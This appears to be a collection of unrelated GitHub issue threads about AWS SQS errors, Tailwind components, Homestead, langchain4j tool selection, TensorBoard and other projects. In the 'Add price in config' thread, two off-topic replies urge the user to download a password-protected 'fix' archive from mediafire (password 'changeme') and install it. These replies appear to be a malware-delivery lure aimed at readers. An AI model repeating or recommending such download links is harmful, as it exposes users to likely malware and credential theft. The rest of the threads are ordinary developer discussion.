The test failed because there was an instance of pinger running from previously. I removed and restarted everything and it all works now as expected. Thanks. 👍


SQS: The security token included in the request is invalid

config :ex_aws,
debug_requests: true,
access_key_id: 'MY_REAL_KEY',
secret_access_key: 'MY_WORKING_SECRET',
region: "us-east-1"
iex -S mix
ExAws.SQS.list_queues |> ExAws.request
[debug] Request URL: "https://sqs.us-east-1.amazonaws.com/"
[debug] Request HEADERS: [{"Authorization", "AWS4-HMAC-SHA256 Credential=65/20160920/us-east-1/sqs/aws4_request,SignedHeaders=content-type;host;x-amz-date,Signature=MANY-LETTERS-HERE"}, {"host", "sqs.us-east-1.amazonaws.com"}, {"x-amz-date", "20160920T121525Z"}, {"content-type", "application/x-www-form-urlencoded"}]
[debug] Request BODY: "Action=ListQueues"
{:error,  {:http_error, 403,   "<?xml version=\"1.0\"?><ErrorResponse xmlns=\"http://queue.amazonaws.com/doc/2012-11-05/\"><Error><Type>Sender</Type>InvalidClientTokenId<Message>The security token included in the request is invalid.</Message><Detail/></Error><RequestId>247b788a-9deb-59fd-83e1-28d1b77537e4</RequestId></ErrorResponse>"}}
The credentials are work in another (Rails) application, and I can see the queues in the Amazon web interface. Version 1.0.0-beta3, all things are copypasted from docs.
Why?


1-Click deploy to Vercel

Just like:

https://github.com/vercel/commerce

Ah I didn't get the meaning of this feature

OK, if someone wants to deploy his own site, he could simply click the Deploy icon.

OK, if someone wants to deploy his own site, he could simply click the Deploy icon.

I mean why would people want to deploy on their own sites 🤣 I could not see the benefits of maintaining it at another place

We could publish it to Vercel's marketplace 🤣
But of course, maintain here is ok for me now.

We could publish it to Vercel's marketplace 🤣

That would be cool!! 🤣


[Feature]: Alert Box

Feature Title
Error/Warning Alert
Description
A different looking alert box
Motivation
Adding variety to alert boxes.
Issue Type
Frontend
Screenshot of the feature if done ?

Are you taking this fetaure implementaion
Yes

Hi @Krishnansh5 , go ahead

The final code should be placed under path tailwind_components/alerts with file name as sample_alert.jsx
The file as to be imported to tailwind_components/alerts/collection.js file as per example and added to the alertCollections list
The alert should close on clicking cross icon
Post these process, go to components tab (components/alert) in website and check whether the codepen is updated

For PR reference - https://github.com/jsvigneshkanna/tailwind_ui_components/pull/76/files
For any issue while creating / importing the component code file, check below sample files
https://github.com/jsvigneshkanna/tailwind_ui_components/tree/master/tailwind_components/buttons
For icons please refer - https://heroicons.com/

I have opened a PR for this issue


DR-958 Rename defaultDomain to default in api response parsing

Changes:

Rename default domain response in controller.
Rename default domain in test mocking.

👍


Nav: clean up HTML elements and ARIA attributes

We should be using <ul> instead of <menu>
The aria-expanded attribute should be on the toggle button, not the nav list

Let's add aria-controls to the main <nav> itself

This is merged to dev and will be fixed in v1.0.2


is_json_undefined does not exist.

same for is_json_null. Have you added that yourself?

Hi, @SebastianStehle!
Please check https://github.com/LSViana/y-crdt.
It's a fork with some fixes and additions that will be merged back into the main repository once YDotNet is released.


Get-DbaAvailabilityDatabase

Is this a feature OR bug:
Enhancement
https://trello.com/c/bRmfN0Kj
Additional comments
Pull out information about databases in an Availability Group. Most of what is under SMO object https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.management.smo.availabilitydatabase.aspx

List of databases in AG
Sync status
Utilize T-SQL to possibly grab things around latency info (similar to what dashboard might provide)

https://files.slack.com/files-pri/T1LTZ0BQV-F2K3U6W3Y/ag_dash.sql

Fixed in #1770


[Homestead] Error instaling MariaDB

Laravel Version: 5.3.23
Homestead Version: 3.0.2
PHP Version: 7.0
vm provider: vmware_workstation

I getting this error when running vagrant up with mariadb enabled
==> default: E
==> default: :
==> default: Failed to fetch http://ftp.osuosl.org/pub/mariadb/repo/10.1/ubuntu/pool/main/m/mariadb-10.1/mariadb-server-10.1_10.1.19+maria-1~
trusty_amd64.deb  Connection failed [IP: <IP_ADDRESS> 80]
==> default: E
==> default: :
==> default: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
==> default: /tmp/vagrant-shell: line 42: /etc/mysql/my.cnf: No such file or directory
==> default: sed: can't read /etc/mysql/my.cnf: No such file or directory
==> default: /tmp/vagrant-shell: line 48: mysql: command not found
==> default: mysql: unrecognized service
==> default: /tmp/vagrant-shell: line 51: mysql: command not found
==> default: /tmp/vagrant-shell: line 52: mysql: command not found
==> default: /tmp/vagrant-shell: line 53: mysql: command not found
==> default: /tmp/vagrant-shell: line 54: mysql: command not found
==> default: mysql: unrecognized service
The SSH command responded with a non-zero exit status. Vagrant
assumes that this means the command failed. The output for this command
should be in the log above. Please read the output to determine what
went wrong.

Looks like a network failure. Can you retry it?
==> default: Failed to fetch http://ftp.osuosl.org/pub/mariadb/repo/10.1/ubuntu/pool/main/m/mariadb-10.1/mariadb-server-10.1_10.1.19+maria-1~ trusty_amd64.deb  Connection failed [IP: <IP_ADDRESS> 80]

Please ask on the forums, we try to keep this repo for bug reporting only.


Question: How to select tools on incoming message

With an Assistant interface like this:
interface Assistant {
    String chat(String message);
}

We can use the AiService like this:
assistant = AiServices.builder(Assistant.class)
    .streamingChatLanguageModel(model)
    .tools(tools)
    .build();

And then we can just call the Assistant like this:
assistant.chat(message);

Base on the provided message OpenAI will then select which tool to use, which is great!
Now, imagine there are dozens of tool specifications. These tool specifications will be sent with each chat message, which will count towards Token usage.
My question is, is there a way to select the the tools to be included in chat message, before calling OpenAI?
I was thinking of creating multiple different Assistants, but then each would have its separate Memory, so that would not work.
Would it make sense to create multiple Assistants and have all of them use the same ChatMemoryProvider?

I also have the same question. If I want to use images as part of the chat context for the model to parse, which object should I use to call the interface

@andyflury how do you plan to select tools? Manually? On each call?
At the moment using multiple AI services with the same memory/provider should work. Or you can use low-level ChatLanguageModel, there is method accepting list of messages and available tools.

thx @langchain4j! I did end up using the same memory for multiple AI services, which seems to work. In case anybody else needs this here is my code:
@Service
public class ChatService implements InitializingBean {

    @Autowired
    private StreamingChatLanguageModel streamingChatLanguageModel;

    @Autowired
    @Qualifier("chatModel")
    private ChatLanguageModel chatLanguageModel;

    @Autowired
    private ToolService toolService;

    private Map<Object, ChatMemory> chatMemories = new HashMap<>();
    private Map<ToolType, Assistant> assistants = new HashMap<>();

    @Override
    public void afterPropertiesSet() throws Exception {
        assistants = toolService
                .getTools()
                .stream()
                .collect(Collectors.toMap(t->t.getToolType(), t -> createAssistant(t)));
    }

    private Assistant createAssistant(Object tool) {
        return AiServices.builder(Assistant.class)
                .streamingChatLanguageModel(streamingChatLanguageModel)
                .tools(tool)
                .chatMemoryProvider(memoryId -> getChatMemory(memoryId))
                .build();
    }

    private ChatMemory getChatMemory(Object memoryId) {
        if (chatMemories.containsKey(memoryId)) {
            return chatMemories.get(memoryId);
        } else {
            ChatMemory chatMemory = MessageWindowChatMemory.withMaxMessages(10);
            chatMemories.put(memoryId, chatMemory);
            return chatMemory;
        }
    }
}

Then you can retrieve the assistant by tool and invoke chat
Assistant assistant = assistants.get(tool);
TokenStream tokenStream = assistant.chat(firstUserMessageHash, lastUserMessage);

And the ToolService basically gives access to all Tool-Beans
@Service
public class ToolService implements InitializingBean {

    @Autowired
    private ApplicationContext applicationContext;

    private Map<ToolType, Tool> tools;

    @Override
    public void afterPropertiesSet() throws Exception {

        tools = applicationContext
                .getBeansOfType(Tool.class)
                .values()
                .stream()
                .collect(Collectors.toMap(t -> t.getToolType(), t -> t));
    }

    public Tool getTool(ToolType toolType) {
        return tools.get(toolType);
    }

    public Set<ToolType> getToolTypes() {
        return tools.keySet();
    }

    public Collection<Tool> getTools() {
        return tools.values();
    }
}

@andyflury it seems that we can really simplify this, but I need to know a bit more about your use case.
If I understood correctly, you are creating an AiService instance for each tool that you have.
I am not sure about the relationship between Tool and ToolType, is it 1:1? I assume ToolType is an enum and Tool is a marker interface for all classes in your app that have @Tool methods.
So, do I understand correctly that you need a way to dynamically specify which tool should assistant have access to on each call?
Something like this?
Assistant assistant = AiServices.builder(Assistant.class)
                .streamingChatLanguageModel(streamingChatLanguageModel)
                .chatMemoryProvider(memoryId -> getChatMemory(memoryId))
                .build();

assistant.chat("What is 2+2?", calculatorTool);

assistant.chat("What is the weather in Milan?", weatherTool);

Thank you @langchain4j
Yes, that's exactly the use case we have in mind.
And yes, adding a tool (or tools) to assistant calls would be ideal.
Is this already possible today?

WIll the tools be selected deterministically by some condition? Or a human will be selection?
How many tools do you have?
Sorry for so much questions, I want to better understand your use case.
No it is not possible today, but I am thinking about adding something like this, so I need a clearer picture on your use case.
Thanks!

Yes, the tools would be selected by users. We are thinking about adding a tool selection to our chat UI.
At the moment we have about half a dozen tools, but we will be adding more. Some of the tools are RAG related and pull data from various internal sources (for this we could probably use your new advanced RAG), other tools call REST API endpoints (e.g. Zendesk and Hubspot).
does this help?
Thank you!

Yes, this helps, thank you!
Another this I am considering is to have a dynamic tool selection, based on the user intent.
I am not sure if this will work good enough for your use case though.
When the query from the user comes, use something like this to classify the intent of the user. Then choose the appropriate tools for each of intents.
Another option is to do a RAG over tools, so each tool will have a detailed description that can be embedded and then user query is embedded as well and a regular RAG (simple or advanced) is done, returning a list of most relevant tools. One can also play with maxResults and minScore, etc.
WDYT?

I think the concept with the EmbeddingModelTextClassifier is great.
Main problem with letting LLM's decide about Tools is that you have to send tool definitions with every LLM call which consumes a lot of tokens. Doing the tool selection locally with the EmbeddingModelTextClassifier might not be 100% accurate, but definitely saves a lot of tokens.
The RAG option could work as, but again adding all tool definitions (especially if there are lots of tools) to each LLM call might get costly. Or did you think of only sending the tool description in the initial LLM call, let the LLM decide which tool to use (if any) and only then send the full tool definition.
For our particular case, I think the EmbeddingModelTextClassifier option would work better. But I'm sure there are plenty of use-case where the RAG approach makes sense as well

With both EmbeddingModelTextClassifier and RAG options I meant not sending all tools at once on each call to the LLM, but rather first get the set of tools relevant for the user request (without involving LLM, so just embedding model) and then send only this subset to the LLM.
Yes, I was also considering sending a list of tool names and maybe very short descriptions and give the LLM the tool to "select" desired tools. Something like this:
Request 1:
System Message:
You are blablabla, you have access to the following tools, but first you need to select them:
- weather
- calculator
- email

User Message:
Hey what's the weather in Paris?

Tools:
- selectTool(String... toolNames)

Response 1:
selectTool(weather)

Once selectTool is called, AI Services could automatically inject selected tools in the next call to the LLM and even remove previous  message from the LLM (where it invokes selectTool) which is unnecessary.
Request 2:
System Message:
You are blablabla. [optionally a list of tools, but probably this is not needed in this case]

User Message:
Hey what's the weather in Paris?

Tools:
- weather(String location, Unit unit)

Response 2:
weather(Paris, CELSIUS)

So there are now at least 3 options :) Any more ideas?

Interesting!
@langchain4j So this LLM based approach would result in two LLM calls for each user request? The first containing the list of tools with short description and the second with the actual selected tool. I assume the LLM might also have the liberty to select no tool at all, if it does not see a need for one. So most likely the actual LLM calls will be smaller than 2x the number of users requests.
I think this option will be much more precise compared to the embedding model based approach we discussed previously, and since you're just sending the list of tools with descriptions it might also not be that expensive in terms of token usage.
I would certainly try both options for our specific case.
In general I definitely see both options (embedding model and LLM model) used in practice for tool selections. So maybe have an initial simple implementation and then get a feel which option attracts more users to then further develop.

Yes, although it will do up to 2 times more calls, the number of used tokens should be (much) less, at least for the cases where there are many tools with many parameters. Each tool easily eats 20+ tokens. It can be replaced with a few tokens of the tool name in the system message.
I will think/play with this in the coming weeks, I think we can provide some of these 3 options easily out of the box.
As well as flefibility to explicitly define tools for each call.

Related: https://github.com/quarkiverse/quarkus-langchain4j/issues/341

Related: https://github.com/langchain4j/langchain4j/issues/141


PR checks: Update requests to 2.31.0

Update requests to 2.31.0 to address https://github.com/advisories/GHSA-j8r2-6x86-q33q.  We don't use this in the Action itself, but instead in PR checks that test Python dependency installation.
@github/codeql-python I'd appreciate it if one of you could take a careful look at this PR to make sure I've preserved test coverage.  Thanks!
Merge / deployment checklist

[x] Confirm this change is backwards compatible with existing workflows.
[x] Confirm the readme has been updated if necessary.
[x] Confirm the changelog has been updated if necessary.

Debug artifact upload failures fixed by #1696.

Thanks, that's good feedback.  I had hoped that the diff would recognize the change as a rename!


add graph to Tensorboard logger

🚀 Feature
adding a graph to TB logger as it is shown here
https://www.learnopencv.com/tensorboard-with-pytorch-lightning/
maybe also add histograms...
Motivation

Hi,
I am trying to add the computational graph to tensorboard with
 self.logger.experiment.add_graph(TriviaQA(self.args), sampleInput)
but got the error message

File "./.local/lib/python3.6/site-packages/torch/jit/init.py", line 742, in _check_trace
raise TracingCheckError(*diag_info)
torch.jit.TracingCheckError: Tracing failed sanity checks!
ERROR: Graphs differed across invocations!

(~30000 lines after Graph diff)

First diverging operator:
Node diff:
- %9 : torch.torch.nn.modules.linear.___torch_mangle_226.Linear = prim::GetAttrname="linear_sp_sent"
?                                                        ^^^
+ %9 : torch.torch.nn.modules.linear.___torch_mangle_470.Linear = prim::GetAttrname="linear_sp_sent"
?                                                        ^^^

I tried one solution in the similar issue (https://github.com/pytorch/pytorch/issues/23993) by not declare sampleInput as a variable, but does not work.
The other solution mentioned is to set check_trace to False. But I do not call torch.jit.trace directly.
Another issue (https://github.com/PyTorchLightning/pytorch-lightning/pull/3003) mentioned one requirement: user has defined the model.example_input_array attribute, but I assume it is only for automatically logging the computational graph, right?
Any other solution I can try?
Thank you

It would be nice to be able to pipe arguments for torch.jit.trace through .add_graph() as kwargs such that we can disable the trace checking for stochastic models.


Error when training model from Dask client

https://discuss.xgboost.ai/t/cant-understand-this-error-when-training-model-from-the-client/2197

I have replied in there and need a reproducible example.  Most likely something went wrong with the distributed cluster so no result is returned.

Closing as it's unlikely to be an error in xgboost.


Swiper Slides width become too small when fetching carousel items

Check that this is really a bug

[X] I confirm

Reproduction link

Bug description
Swiper Slides width became to small when fetching carousel items
Expected Behavior
Normal slides width
Actual Behavior
No response
Swiper version
6.8.4
Platform/Target and Browser Versions
macOS Chrome
Validations

[X] Follow our Code of Conduct
[X] Read the docs.
[X] Check that there isn't already an issue that request the same feature to avoid creating a duplicate.
[X] Make sure this is a Swiper issue and not a framework-specific issue

Would you like to open a PR for this bug?

[ ] I'm willing to open a PR

Your issue is closed because it is not filled correctly. Before you open an issue please review the contributing guideline.
Please fill the issue template correctly and:

Clearly describe the issue including steps to reproduce when it is a bug.
Make sure you fill in the earliest version that you know has the issue.
Provide live link or JSFiddle/Codepen or website with isssue

It will save a lot of time for other contributors to check your issue and fix it.


add to docs: explain how spiffe ids work and how the workload is matched.

We already have it https://aegis.ist/docs/use-case-sidecar/#clusterspiffeid
Closing.


fix: Comet native operator can be executed after ReusedExchange

Which issue does this PR close?

Closes #188.
Rationale for this change

What changes are included in this PR?

How are these changes tested?

Codecov Report
Attention: Patch coverage is 0% with 1 lines in your changes are missing coverage. Please review.

Project coverage is 33.29%. Comparing base (488c523) to head (1a28b45).

Files
Patch %
Lines

...n/scala/org/apache/spark/sql/comet/operators.scala
0.00%
0 Missing and 1 partial :warning:

Additional details and impacted files
@@            Coverage Diff            @@
##               main     #187   +/-   ##
=========================================
  Coverage     33.29%   33.29%
- Complexity      766      767    +1
=========================================
  Files           107      107
  Lines         35385    35385
  Branches       7658     7658
=========================================
+ Hits          11781    11782    +1
  Misses        21157    21157
+ Partials       2447     2446    -1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

Merged. Thanks.


Add price in config

Hi can you add price in config, and i have set 100% luck show in the shop, and i don't have see the "cart" and my plugin for get start item modded don't have find it.

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

The cart is a scrap drop, not a shop item. Thus why it has min and max scrap value.

I understand that basic it is in scrap, but it was precisely my request if it was possible to add it to the shop, with a price configuration, then if you are against, I can understand after all it is your mod ^^, if you add that i want or not you can close this issue, thx

I was testing some config mechanic with the scifi box one, I will see if I can port it to all other items when I have the time for it.

perfect thank you


Make DraftailRichTextArea be considered as visible

Refs https://github.com/wagtail/wagtail/issues/4943#issuecomment-444558236 and https://github.com/wagtail/wagtail/issues/4466#issuecomment-380810311.

Thanks @sir-sigurd! Merged in bbec0c8bc8b0257cc253f42fad04d8f561e4e3f8.


Rework routing table again so updates can be done in parallel

While the ergonomics have been improved, and the size of the table has been reduced largely in the previous rework, the main issue right now is that updates can't be done in parallel. While regular nodes don't need this, public nodes would benefit a lot here, as currently they struggle to keep up with the load produced.
For updates to be doable in parallel, we basically want each subnet update to be doable at the same time (while still allowing reads). There are 2 main ways to achieve this. In both cases, the actual data is behind an atomic pointer

Every subnet has a lock next to the actual data. In order to update a subnet, the lock is acquired. At this point, the data is loaded, and once the modifications are done, the atomic ptr is swapped, and the lock is released. This adds a mutex to every subnet.

There is no locking, and updates are done in a closure style (taking the current data as argument), optionally returning new data. In the routing table, a compare and swap is done on the actual data in a loop until this succeeds. This means some extra work might be done, which in turn burns cpu cycles, but it does not add any other overhead.

In both cases, we need a way to add a subnet or delete one.

Done in #352


pull request for e2e test at 12/20/2016 04:45:19

:white_check_mark: Validation status: passed
For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.